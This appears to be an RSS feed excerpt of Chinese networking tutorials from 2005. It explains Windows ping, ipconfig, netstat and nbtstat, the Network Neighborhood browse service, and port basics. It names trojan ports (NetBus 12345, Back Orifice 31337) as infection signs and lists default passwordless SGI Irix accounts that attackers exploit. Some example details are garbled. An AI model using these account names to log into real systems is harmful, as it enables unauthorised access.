<P>　　从这个命令式中可以看出它的复杂程度，ping命令本身后面都是它的执行参数，现对其参数作一下详细讲解吧！</P>
<P>　　-t—— 有这个参数时，当你ping一个主机时系统就不停的运行ping这个命令，直到你按下Control-C。</P>
<P>　　-a——解析主机的NETBIOS主机名，如果你想知道你所ping的要机计算机名则要加上这个参数了，一般是在运用ping命令后的第一行就显示出来。</P>
<P>　　-n count——定义用来测试所发出的测试包的个数，缺省值为4。通过这个命令可以自己定义发送的个数，对衡量网络速度很有帮助，比如我想测试发送20个数据包的返回的平均时间为多少，最快时间为多少，最慢时间为多少就可以通过执行带有这个参数的命令获知。</P>
<P>　　-l length——定义所发送缓冲区的数据包的大小，在默认的情况下windows的ping发送的数据包大小为32byt，也可以自己定义，但有一个限制，就是最大只能发送65500byt，超过这个数时，对方就很有可能因接收的数据包太大而死机，所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。</P>
<P>　　-f—— 在数据包中发送“不要分段”标志，一般你所发送的数据包都会通过路由分段再发送给对方，加上此参数以后路由就不会再分段处理。</P>
<P>　　-i ttl—— 指定TTL值在对方的系统里停留的时间，此参数同样是帮助你检查网络运转情况的。</P>
<P>　　-v tos—— 将“服务类型”字段设置为 “tos” 指定的值。</P>
<P>　　-r count—— 在“记录路由”字段中记录传出和返回数据包的路由。一般情况下你发送的数据包是通过一个个路由才到达对方的，但到底是经过了哪些路由呢？通过此参数就可以设定你想探测经过的路由的个数，不过限制在了9个，也就是说你只能跟踪到9个路由。</P>
<P>　　-s count——指定“count” 指定的跃点数的时间戳，此参数和-r差不多，只是这个参数不记录数据包返回所经过的路由，最多也只记录4个。</P>
<P>　　-j host-list ——利用“ computer-list” 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔IP 允许的最大数量为 9。</P>
<P>　　-k host-list ——利用 “computer-list” 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔IP 允许的最大数量为 9。</P>
<P>　　-w timeout——指定超时间隔，单位为毫秒。</P>
<P>　　destination-list ——是指要测试的主机名或IP地址<BR><BR>2．<STRONG>Ping命令的应用</STRONG></P>
<P>　　<STRONG>(1)、测试网络的通畅<BR></STRONG>　　我们知道可以用ping命令来测试一下网络是否通畅，这在局域网的维护中经常用到，方法很简单，只需要在DOS或Windows的开始菜单下的“运行”子项中用ping命令加上所要测试的目标计算机的IP地址或主机名即可（目标计算机要与你所运行ping命令的计算机在同一网络或通过电话线或其它专线方式已连接成一个网络），其它参数可全不加。如要测试台IP地址为196.168.1.21的工作站与服务器是否已连网成功，就可以在服务器上运行：ping -a 196.`68.123.56 即可，如果工作站上TCP/IP协议工作正常，即会以DOS屏幕方式显示如下所示的信息：</P>
<P>　　Pinging cindy[196.168.1.21] with 32 bytes of data:<BR>　　Reply from 196.168.1.21: bytes=32 time&lt;10ms TTL=254<BR>　　Reply from 196.168.1.21: bytes=32 time&lt;10ms TTL=254<BR>　　Reply from 196.168.1.21: bytes=32 time&lt;10ms TTL=254<BR>　　Reply from 196.168.1.21: bytes=32 time&lt;10ms TTL=254<BR>　　Ping statistics for 196.168.1.21:<BR>　　Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate roundtrip times in milli-seconds:<BR>　　Minimum = 0ms, Maximum = 0ms, Average = 0ms</P>
<P>　　从上面我们就可以看出目标计算机与服务器连接成功，TCP/IP协议工作正常，因为加了“-a”这个参数所以还可以知道IP为196.168.1.21的计算机的NetBIOS名为cindy。</P>
<P>　　如果网络未连成功则显示如下错误信息：</P>
<P>　　Pinging[196.168.1.21 ] with 32 bytes of data<BR>　　Request timed out.<BR>　　Request timed out.<BR>　　Request timed out.<BR>　　Request timed out.<BR>　　Ping statistice for 196.168.1.21:<BR>　　Packets:Sent=4,Received =0,Lost=4(100% loss),<BR>　　Approximate round trip times in milli-seconds<BR>　　Minimum=0ms,Maximum=0ms,Average=0ms<BR><BR>为什么不管网络是否连通在提示信息中都会有重复四次一样的信息呢（如上的“Reply from 196.168.1.21: bytes=32 time&lt;10ms TTL=254 ”和“Request timedout”），那是因为一般系统默认每次用ping测试时是发送四个数据包，这些提示就是告诉你所发送的四个数据包的发送情况。</P>
<P>　　出现以上错误提示的情况时，就要仔细分析一下网络故障出现的原因和可能有问题的网上结点了，一般首先不要急着检查物理线路，先从以下几个方面来着手检查：一是看一下被测试计算机是否已安装了TCP/IP协议；二是检查一下被测试计算机的网卡安装是否正确且是否已经连通；三是看一下被测试计算机的TCP/IP协议是否与网卡有效的绑定（具体方法是通过选择“开始→设置→控制面板→网络”来查看）；四是检查一下Windows NT服务器的网络服务功能是否已启动（可通过选择“开始→设置→控制面板→服务”，在出现的对话框中找到“Server”一项，看“状态”下所显示的是否为“已启动”）。如果通过以上四个步骤的检查还没有发现问题的症结，这时再查物理连接了，我们可以借助查看目标计算机所接HUB或交换机端口的批示灯状态来判断目标计算机现网络的连通情况。</P>
<P>　　<STRONG>(2)、获取计算机的IP地址</STRONG></P>
<P>　　利用ping这个工具我们可以获取对方计算机的IP地址，特别是在局域网中，我们经常是利用NT或WIN2K的DHCP动态IP地址服务自动为各工作站分配动态IP地址，这时当然我们要知道所要测试的计算机的NETBIOS名，也即我们通常在“网络邻居”中看到的“计算机名”。使用ping命令时我们只要用ping命令加上目标计算机名即可，如果网络连接正常，则会显示所ping的这台机的动态IP地址。其实我们完全可以在互联网使用，以获取对方的动态IP地址，这一点对于黑客来说是比较有用的，当然首先的一点就是你先要知道对方的计算机名。<BR><BR>(3)、上述应用技巧其实重点是Ping 命令在局域网中的应用，其实Ping命令不仅在局域网中广泛使用，在Internet互联网中也经常使用它来探测网络的远程连接情况。平时，当我们遇到以下两种情况时，需要利用Ping工具对网络的连通性进行测试。比如当某一网站的网页无法访问时，可使用Ping命令进行检测。另外，我们在发送E-mail之前也可以先测试一下网络的连通性。许多因特网用户在发送E-mail后经常收到诸如“Returned mail:User unknown”的信息，这说明您的邮件未发送到目的地。为了避免此类事件再次发生，所以建议大家在发送E-mail 之前先养成Ping对方邮件服务器地址的习惯。例如，当您给163网站邮件用户发邮件时，可先键入“ping 163.com”（其实163.com就是网易的其中一台服务器名）进行测试，如果返回类似于“Bad IP address163.com”或“Request times out”或“Unknow host 163.com”等的信息，说明对方邮件服务器的主机未打开或网络未连通。这时即使将邮件发出去，对方也无法收到。</P>
<P>　　<STRONG>二、Ipconfig/Winipcfg</STRONG></P>
<P>　　与Ping 命有所区别，利用Ipconfig和Winipcfg工具可以查看和修改网络中的TCP/IP协议的有关配置，如IP地址、网关、子网掩码等。这两个工具在Windows 95/98中都能使用，功能基本相同，只是Ipconfig 是以 DOS的字符形式显示，而Winipcfg则用图形界面显示，也就是其实两个工具是一个工具，只不过一个是DOS下的版本，另一个为WINDWOS下的版本，但要注意，在Windows NT中只能运行于DOS方式下的Ipconfig工具。</P>
<P>　　<STRONG>1．Ipconfig命令的语法格式</STRONG></P>
<P>　　Ipconfig[/all][/batch file][/renew all][/release all][/renew n][/releasen]</P>
<P>　　all——显示与TCP/IP协议相关的所有细节信息，其中包括测试的主机名、IP地址、子网掩码、节点类型、是否启用IP路由、网卡的物理地址、默认网关等。</P>
<P>　　Batch file——将测试的结果存入指定的“file“文件名中，以便于逐项查看，如果省略file文件名，则系统会把这测试的结果保存在系统的“winipcfg.out”文件中。</P>
<P>　　renew all——更新全部适配器的通信配置情况，所有测试重新开始。</P>
<P>　　release all——释放全部适配器的通信配置情况，</P>
<P>　　renew n——更新第n号适配器的通信配置情况，所有测试重新开始。</P>
<P>　　release n——释放第n号适配器的通信配置情况，<BR><BR><STRONG>2．Winipcfg命令</STRONG></P>
<P>　　Winipcfg工具的功能与Ipconfig基本相同，只是Winipcfg是以图形界面的方式显示，如图1所示。在操作上更加方便，同时能够以WINDOWS的32位图形界面方式显示。当用户需要查看任何一台机器上TCP/IP协议的配置情况时，只需在Windows 95/98上选择“开始→运行”，在出现的对话框中输入命令“winipcfg”，将出现测试结果。单击“详细信息”按钮，在随后出现的对话框中可以查看和改变TCP/IP的有关配置参灵敏，当一台机器上安装有多个网卡时，可以查找到每个网卡的物理地址和有关协议的绑定情况，这在某些时候对我们是特别有用的。如果要获取更多的信息，可单击图中的“详细信息”按钮，在出现的对话框中可以相看到比较全面的信息。</P>
<P>　　<STRONG>3、ipconfig/winipcfg的应用</STRONG></P>
<P>　　上面我讲了一下这两姊妹TCP/IP测试工具的一些用法，下面我就来谈她们的一些用途。</P>
<P>　　(1)、查找目标主机的IP地址及其它有关TCP/IP协议的信息，方法如下：按「开始」菜单执行「运行」菜单项，输入 winipcfg，就会出现一个 IP 组态窗口，这里会显示有关于你目前网络 IP 的一些详细设置数据。或者，你也可以在 MS-DOS 模式下，输入 ipconfig，也是一样可以显示详细的 IP 信息，只不过此画面是在 DOS 下而已。</P>
<P>　　(2)、ipconfig/winipcfg应该说是一款网络侦察的利器，尤其当用户的网络中设置的是DHCP（动态IP地址配置协议）时，利用Ipconfig/winipcfg可以让用户很方便地了解到所用IPconfig/winipcfg机的IP地址的实际配置情况。因为它有一个“/all”这个参数，所以它可侦查到本机上所有网络适配的IP地址分配情况，比ping命令更为详细。如果我们在机房winda客户端上运行“Ipconfig/all/batch winda.txt”后，打开winda.txt文件，将显示如下所示的内容，非常详细地显示了所有与TCP/IP协议有关的配置情况 。当然与ping相比也有它的不足之处就是它只能在本机上测试，不能运用网络功能来测试。<BR><BR><STRONG>三、Netstat</STRONG></P>
<P>　　与上述几个网络检测软件类似，Netstat命令也是可以运行于Windows 95/98/NT的DOS提示符下的工具，利用该工具可以显示有关统计信息和当前TCP/IP网络连接的情<BR>　　，用户或网络管理人员可以得到非常详尽的统计结果。当网络中没有安装特殊的网管软件，但要对整个网络的使用状况作个详细地了解时，就是Netstat大显身手的时候了。</P>
<P>　　它可以用来获得你的系统网络连接的信息（使用的端口和在使用的协议等），收到和发出的数据，被连接的远程系统的端口等。</P>
<P>　　<STRONG>1、Netstat命令的语法格式</STRONG></P>
<P>　　Nbtstat 格式：netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval]</P>
<P>　　参数解释如下：</P>
<P>　　-a——用来显示在本地机上的外部连接，它也显示我们远程所连接的系统，本地和远程系统连接时使用和开放的端口，以及本地和远程系统连接的状态。这个参数通常用于获得你的本地系统开放的端口，用它您可以自己检查你的系统上有没有被安装木马，如果您在你的机器上运行Netstat的話，如发現诸如：Port 12345(TCP) Netbus、Port31337(UDP) Back Orifice之类的信息，则你的机器上就很有可能感染了木马。</P>
<P>　　-n——这个参数基本上是-a参数的数字形式，它是用数字的形式显示以上信息，这个参数通常用于检查自己的IP时使用，也有些人使用他是因为更喜欢用数字的形式來显示主机名。</P>
<P>　　-e——显示静态太网统计，该参数可以与 -s 选项结合使用。</P>
<P>　　-p protocol——用来显示特定的协议配置信息，它的格式为：Netstat -p ***，***可以是UDP、IP、ICMP或TCP，如要显示机器上的TCP协议配置情况则我们可以用：Netstat -p tcp。</P>
<P>　　-s——显示机器的缺省情况下每个协议的配置统计，缺省情况下包括TCP、IP、UDP、ICMP等协议。<BR>　　-r——用来显示路由分配表。</P>
<P>　　interval——每隔“interval”秒重复显示所选协议的配置情况，直到按“CTRL+C”中断。<BR><BR><STRONG>2、netstat的应用</STRONG></P>
<P>　　从以上各参数的功能我们可以看出netstat工具至少有以下向方面的应用：</P>
<P>　　(1)、显示本地或与之相连的远程机器的连接状态，包括TCP、IP、UDP、ICMP协议的使用情况，了解本地机开放的端口情况；</P>
<P>　　(2)、检查网络接口是否已正确安装，如果在用netstat这个命令后仍不能显示某些网络接口的信息，则说明这个网络接口没有正确连接，需要重新查找原因。</P>
<P>　　(3)、通过加入“-r”参数查询与本机相连的路由器地址分配情况；</P>
<P>　　(4)、还可以检查一些常见的木马等黑客程序，因为任何黑客程序都需要通过打开一个端口来达到与其服务器进行通信的目的，不过这首先要使你的这台机连入互联网才行，不然这些端口是不可能打开的，而且这些黑客程序也不会起到入侵的本来目的。</P>
<P><BR>　<STRONG>　四、nbtstat</STRONG></P>
<P>　　NBTSTAT命令:用于查看当前基于NETBIOS的TCP/IP连接状态，通过该工具你可以获得远程或本地机器的组名和机器名 。虽然用户使用ipconfig/winipcfg工具可以准确地得到主机的网卡地址，但对于一个已建成的比较大型的局域网，要去每台机器上进行这样的操作就显得过于费事了。网管人员通过在自己上网的机器上使用DOS命令nbtstat，可以获取另一台上网主机的网卡地址。<BR><BR>我们还是先来看看它的语法格式吧：</P>
<P>　　NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n] [-r] [-R] [-RR] [-s][-S] [interval] ]</P>
<P>　　<STRONG>参数说明：</STRONG></P>
<P>　　-a Remotename——说明使用远程计算机的名称列出其名称表，此参数可以通过远程计算机的NetBios名来查看他的当前状态。</P>
<P>　　-A IP address——说明使用远程计算机的 IP 地址并列出名称表，这个和-a不同的是就是这个只能使用IP，其实-a就包括了-A的功能了。</P>
<P>　　-c——列出远程计算机的NetBIOS 名称的缓存和每个名称的 IP 地址 这个参数就是用来列出在你的NetBIOS里缓存的你连接过的计算机的IP。</P>
<P>　　-n——列出本地机的 NetBIOS 名称，此参数与上面所介绍的一个工具软件“netstat”中加“ -a”参数功能类似，只是这个是检查本地的，如果把netstat -a后面的IP换为自己的就和nbtstat -n的效果是一样的了。</P>
<P>　　-r——列出 Windows 网络名称解析的名称解析统计。在配置使用 WINS 的Windows 2000 计算机上，此选项返回要通过广播或 WINS 来解析和注册的名称数。</P>
<P>　　-R——清除 NetBIOS 名称缓存中的所有名称后，重新装入 Lmhosts 文件，这个参数就是清除nbtstat -c所能看见的缓存里的IP。</P>
<P>　　-S—— 在客户端和服务器会话表中只显示远程计算机的IP地址。</P>
<P>　　-s—— 显示客户端和服务器会话，并将远程计算机 IP 地址转换成NETBIOS名称。此参数和-S差不多，只是这个会把对方的NetBIOS名给解析出来。</P>
<P>　　-RR——释放在 WINS 服务器上注册的 NetBIOS 名称，然后刷新它们的注册。</P>
<P>　　interval——每隔interval 秒重新显示所选的统计，直到按“ CTRL+C”键停止重新显示统计。如果省略该参数，nbtstat 将打印一次当前的配置信息。此参数和netstat的一样，nbtstat中的“interval”参数是配合-s和-S一起使用的。</P>
<P>　　好了，关于nbtstat的应用就不多讲了，相信看了它的一些参数功能也就明白了它的功能了，只是要特别注意这个工具中的一些参数是区分大、小写的，使用时要特别留心！另外在系统中还人置有许多这方面的工具，如ARP命令是用于显示并修改Internet到以太网的地址转换表；nslookup命令的功能是查询一台机器的IP地址和其对应的域名，它通常需要一台域名服务器来提供域名服务，如果用户已经设置好域名服务器，就可以用这个命令查看不同主机的IP地址对应的域名……在此就不多讲了，另外还要说明的一点就是不同的系统中的相应命令参数设置可能有不同之处，但大体功能是一致的，希望大家在应用时稍加注意，本文所列的这些工具软件参数用法全是针对Win9xWinMe，在NT和UNIX、LINUX系统中有一些不同之处。</P></DIV><img src ="http://www.cnitblog.com/system-net/aggbug/5265.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-12-09 20:44 <a href="http://www.cnitblog.com/system-net/articles/5265.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网上邻居的工作原理</title><link>http://www.cnitblog.com/system-net/articles/5262.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Fri, 09 Dec 2005 12:34:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/5262.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/5262.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/5262.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/5262.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/5262.html</trackback:ping><description><![CDATA[<FONT size=4>网上邻居的工作原理:浏览服务<BR><BR>为了帮助用户找到网络资源，微软使用了叫做"浏览服务"的机制完成网络资源查找和定位。<BR>当我们在一个对等网中，当主机的数量多于一定的数量的时候，有时我们打开"网上邻居"的时候，速度会很慢很慢，(尤其在一个2000和98的混合环境中更为严重)他不是故障，"网上邻居"的工作机理就决定了这个事实，当我们的机器启动的时候，首先会寻找网络中的一台机器——主浏览器，然后报告他自己存在于这个网络中，主浏览器通过维护一个"浏览表"来实现这个功能。<BR><BR>主浏览表中维护一个可用的基于NETBLOS的资源列表，他其中会有NETBLOS名称到IP地址的映射，也就包含有我们所有的机器的信息。普通客户机在主浏览器的主浏览表中加入自己，告诉他:"我来到了这个网络"我的NETBILOS名字是COMPUTER1,IP是192.168.0.1，当你打开网上邻居的时候，首先通过广播来查找到"主浏览器"。　如果没有"主浏览器"或者主浏览器关机，则在网络中就会通过"选举"来推选出一个"主浏览器"，选举考虑的原则包括<BR>1 *作系统<BR>2 措做系统版本<BR>3 计算机角色<BR>(注意:这个过程可能会很慢!!尤其在一个2000 98 混合环境中)找到主浏览器后，在从主浏览器中得到一个备份浏览器的列表，然后再从备份浏览器得到所有的列表(备份浏览器时主浏览器的备份，存储有浏览表的副本)，这时，网上邻居中就出现了所有的计算机!<BR><BR><BR>客户的浏览过程如下:<BR><BR>1。通过向主浏览器发布公告将服务器增加到浏览列表。<BR>2。主浏览器与备份浏览器共享服务器(域)列表。<BR>3。客户机从主浏览器检索备份浏览器的计算机列表。<BR>4。客户机和备份浏览器联系以检索服务器列表。<BR>5。客户机和服务器联系以检索服务器上的共享资源列表。<BR><BR>而在网络上，为了有效地定位网络资源，Microsoft Windows网络的浏览服务必须有特定的"浏览服务器"参与并提供。<BR>浏览服务器的角色分为"(域)主浏览服务器"，"备份浏览服务器"，"潜在浏览服务器"几种。<BR>浏览服务器一般由最先启动的计算机担任，然后可以通过选举来自动变更或者交接。<BR>每隔15分钟，每个子网的主浏览器向本子网上的其他主浏览器宣示自己。<BR>每隔12分钟，每个域主浏览器与WINS联系以取得所有domainname&lt;1B&gt;域的列表。<BR>每隔12分钟，每个主浏览器(子网)与域主浏览器联系以更新浏览表。<BR>每隔12分钟，每个备份浏览器和它的局部主浏览器联系以检索和更新浏览表。<BR>所有有服务器组件(也就是说，具有共享网络资源的能力)的计算机向它们局部域中的主浏览器宣示自己。<BR>当本地子网找不到主浏览器或初始化域控制器时都会发生浏览器选举。选举按照*作系统版本号和身份来决定胜负。<BR>而且此过程中的大部分流量都是广播流量。这就是为什么在多子网环境下需要Wins才能正常使用"网络邻居"。也是为什么竭力建议在企业网络里面尽量少的使用"网络邻居"。它的工作过程决定了在比较大和动态变化的网络里面，注定是不可靠和存在众多问题，并带来混乱的。<BR><BR><BR>一些常见问题:<BR>1　有时候，明明计算机已经关了，但网上邻居上却仍然存在 ----浏览表没有更新<BR>2　所有的网上邻居中的机器不可访问&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;----主浏览器死机，还没有选举出新的浏览器<BR>3　某些网上邻居的机器不可用&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;----是浏览表中的内容没有更新<BR><BR><BR>浏览服务没有直接的控制选项，除了对于Win9x可以在"网络属性-文件和打印共享服务属性"中控制计算机是否成为浏览服务器，必须通过修改注册表来进行。以下是一些注册表控制参数。<BR><BR>在网络邻居中隐藏特定的计算机:<BR>\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters<BR>建立或者修改:<BR>"Hidden"=dword:1/0<BR>1为隐藏。(隐藏之后还是能通过UNC路径名来访问的)<BR><BR>控制是否成为"浏览服务器":<BR>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters<BR>"MaintainServerList"=REG_SZ:YES/NO/AUTO<BR>"YES"为作为浏览服务器，"NO"不作为，"AUTO"自动。<BR><BR>win9x计算机，控制面版-网络-文件和打印共享服务属性:<BR>主控浏览服务器:无效/有效/自动<BR>(建议设置win9x计算机为无效，经常重启或者从网络断开的计算机设置为无效，来改善网络邻居的工作并提高网络效率)<BR>**微软网络浏览过程简介*** <BR><BR>在“Windows NT系统管理技术内幕”一书中，讲到了一个非常具有代表性的问题，我把它摘抄了下来： <BR><BR>问：什么情况下会导致在网络邻居中计算机能看见却无法访问或可以访问却看不见？ <BR><BR>请选择最佳答案： <BR>A.你的网络存在物理问题,比如网线 <BR>B.作为域主浏览器的Windows NTserver的浏览服务坏了 <BR>C.Windows NTserver网卡有问题 <BR>D.你的网络没有问题,用户描述的是正常的微软浏览现象 <BR><BR>正确答案 D <BR><BR>书上的解释:微软的网络浏览可能在使用中出现"中断",而实际上它们并没有中断, 这种误解是由于用户对微软网络浏览的处理过程不熟悉造成的。 <BR><BR>就象同学们经常在抱怨的“为什么别人的网上邻居可用，我的却不行？”“为什么有时候可以浏览，有时候却无法浏览网络？”解铃还须系铃人，让我们一起去看看微软的网络浏览到底是如何实现的。鉴于大家可能对NT的“域”概念还不甚了解，出现浏览故障的也多为98的机子，我将以98的“工作组模式”为大家讲解。 <BR><BR>1.什么是浏览列表（Browsing List） <BR><BR>在微软网络中，用户可以在浏览列表里看到整个网络（何指？子网还是广播域？大家可以考虑考虑）上所有的计算机。当你通过网上邻居窗口打开整个网络时，你将看到一个工作组列表，再打开某个工作组，你将看到里面的计算机列表（也可在 DOS方式下用net view /domain:workgroupname命令得到），这就是我们所说的 Browsing List。工作组从本质上说就是共享一个浏览列表的一组计算机，所有的工作组之间都是对等的，没有规定不可以让所有的计算机同处于一个工作组中。 <BR><BR>2.浏览列表在哪里 <BR><BR>曾在木棉上看到过一场争论，有人说：网上邻居里的计算机列表是广播查询得来的。可有人举反例说：我的同学都关机了，可我还是能在网上邻居里看到它，应该是从HUB或交换机之类较为固定的设备的缓存中取得的。 其实他们都只说对了一个方面，把他们二人的说法结合起来就是正确答案了--- 浏览列表是通过广播查询浏览主控服务器，由浏览主控服务器提供的。 <BR><BR>3.浏览主控服务器又是什么 <BR><BR>浏览主控服务器是工作组中的一台最为重要的计算机，它负责维护本工作组中的浏览列表及指定其他工作组的主控服务器列表，为本工作组的其他计算机和其他来访本工作组的计算机提供浏览服务，每个工作组都为会每个传输协议选择一个浏览主控服务器，而我们经常遇到的无法浏览网络的错误大多是因为你所处的工作组没有浏览主控服务器而造成的。你可以在一个工作组中用NBTSTAT -a computername 命令找出使用NBT协议的浏览主控服务器，它的标识是含有\_MSBROWSE_名字段。 <BR><BR>4.浏览主控服务器是如何指定的 <BR><BR>缺省情况下，win98工作组中的浏览主控服务器是该工作组中第一台启用文件及打印机共享功能的计算机，也允许手工将一台win计算机配置为浏览主控服务器（方法会在后面讲述网络配置时具体介绍，但由于浏览主控服务器需要维护动态浏览列表，性能会受影响），如果一个工作组中有多台计算机配置了这个选项，或是当前的浏览主控服务器关闭了系统，又没有其他计算机启用主控设置时，就要进行主控浏览器的选举。 <BR><BR>5.如何通过浏览器选举产生浏览主控服务器 <BR><BR>关于浏览器的选举报文,不太好抓包,我就只好按书上的东西来讲述了.其实过程很简单,首先由一台计算机发送一个选举临界报文,该报文包含了来自发送计算机的信息(*作系统,版本及NET名等),选举报文向网络中广播,工作组中的每一台计算机都会用自身信息与选举报文进行优先级比较,主要是*作系统起主要作用,记得好像是NT Server&gt;NT Workstation&gt;Win98&gt;WFWG,反正到最后是那个自身条件最好的成为新的浏览主控服务器. <BR><BR>6.整个网络浏览的过程是怎样的 <BR><BR>当一台win98进入网络时，如果它带有服务器服务（启用了文件及打印机共享）会向网络广播宣告自己的存在，而浏览主控服务器会取得这个宣告并将它放入自己维护的浏览列表中；而没有在相应协议上绑定文件及打印机共享的计算机则不会宣告，因而也就不会出现在网络邻居里了。 <BR><BR>当客户计算机想获得需要的网络资源列表时，首先会广播发出浏览请求，浏览主控服务器收到请求后，如果请求的是本组的浏览列表，则直接将客户所需的资源列表发回；如果请求的是其它工作组的浏览列表，浏览主控服务器会根据本身Browsing List中的记录找到相应工作组的主控浏览器返回给用户，用户可从那里得到它想要的浏览列表。至于如何去和另一台计算机共享交换资源，就不是我们这里要讨论的问题了。 <BR><BR>明白了网络浏览的原理，下面我给大家讲一个有用的应用，现在很多同学出于安全的考虑都不太欢迎陌生人通过网上邻居访问自己的机子，可有时下部电影又需要给认识的同学共享出来，因而还不能删除文件及打印机共享服务。怎么办？有些人给共享名加个$，以达到隐藏的效果，可这用DOS下的net share是可被看到的；有些人给共享加上密码，可听说这也是有办法破解的，而且很容易激起“黑客同志”的好奇心。有没有办法将自己的机器在网络邻居里隐藏起来呢？而对于认识的同学可以让他用\IP 来访问。 <BR><BR>想对了，关键就是要阻止自己的机器向网络中去宣告自己，而且我知道我们其中的一些人已经将此变成了现实，至于方法嘛，就不要来问我了。 <BR><BR>注：因为有关win98浏览服务的资料很少，涉及的书籍也多为以NT的“域”模型进行介绍，因而我只能根据自己的理解结合netxray的实践来测试，细节部分难免有错，欢迎大家指正。 <BR><BR>7.在我的网上邻居里为什么有些机子访问不了 <BR><BR>如果微软的网上邻居真能做到所见即所得，相信抱怨它的人不会象现在这么多，可通过前面对浏览服务的介绍，大家已经知道这是不可能的，因为浏览列表的获得不是通过访问其中每一台机子得到的，很多时候网络中的计算机并不能正确更新浏览列表。当一台计算机正常关机时，它会向网络发出广播宣告，使浏览主控服务器及时将它从浏览列表中删除；而非正常关机后，浏览列表里仍会把该条目保持很长一段时间(NT下是45分钟),这就是我们仍能在网络邻居里看到它的原因.而98的稳定性是众所周知的 ----在还没来得及关机前就已经崩溃了^-^ <BR><BR>SMB（Server Message Block）协议在NT/2000中用来作文件共享，在NT中，SMB运行于NBT（NetBIOS over TCP/IP）上，使用137，139（UDP），139（TCP）端口。 <BR><BR>在2000中，SMB可以直接运行在tcp/ip上，而没有额外的NBT层，使用TCP 445端口。因此在2000上应该比NT稍微变化多一些。可以在“网络连接/属性/TCPIP协议/属性/高级/WINS中设置启用或者禁用NBT（NetBIOS over TCP/IP）。 <BR><BR>当2000使用网络共享的时候，就面临着选择139或者445端口了。下面的情况确定会话使用的端口： <BR><BR>1、如果客户端启用了NBT，那么连接的时候将同时访问139和445端口，如果从445端口得到回应，那么客户端将发送RST到139端口，终止这个端口的连接，接着就从445端口进行SMB的会话了；如果没有从445端口而是从139得到回应，那么就从139端口进行会话；如果没有得到任何回应，那么SMB会话失败。 <BR><BR>2、如果客户端禁用了NBT，他就将只从445端口进行连接。当然如果服务器（开共享端）没有445端口进行SMB会话的话，那么就会访问失败了，所以禁用445端口后，对访问NT机器的共享会失败。 <BR><BR>3、如果服务器端启用NBT，那么就同时监听UDP 137、138端口和TCP139，445。如果禁用NBT，那么就只监听445端口了。 <BR><BR>所以对于2000来说，共享问题就不仅仅是139端口，445端口同样能够完成。</FONT><img src ="http://www.cnitblog.com/system-net/aggbug/5262.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-12-09 20:34 <a href="http://www.cnitblog.com/system-net/articles/5262.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>端口基础常识大全+常用端口对照</title><link>http://www.cnitblog.com/system-net/articles/5261.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Fri, 09 Dec 2005 12:30:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/5261.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/5261.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/5261.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/5261.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/5261.html</trackback:ping><description><![CDATA[<P>端口可分为3大类： </P>
<P>1） 公认端口（Well Known Ports）：从0到1023，它们紧密绑定于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如：80端口实际上总是HTTP通讯。 </P>
<P>2） 注册端口（Registered Ports）：从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口，这些端口同样用于许多其它目的。例如：许多系统处理动态端口从1024左右开始。 </P>
<P>3） 动态和/或私有端口（Dynamic and/or Private Ports）：从49152到65535。理论上，不应为服务分配这些端口。实际上，机器通常从1024起分配动态端口。但也有例外：SUN的RPC端口从32768开始。 </P>
<P>&nbsp; 本节讲述通常TCP/UDP端口扫描在防火墙记录中的信息。记住：并不存在所谓ICMP端口。如果你对解读ICMP数据感兴趣，请参看本文的其它部分。</P>
<P>&nbsp; 0通常用于分析*作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试 图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描：使用IP地址为 0.0.0.0，设置ACK位并在以太网层广播。 </P>
<P>&nbsp; 1 tcpmux 这显示有人在寻找SGIIrix机器。Irix是实现tcpmux的主要提供者，缺省情况下tcpmux在这种系统中被打开。Iris机器在发布时含有几个缺省的无密码的帐户，如lp,guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox, 和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux 并利用这些帐户。 </P>
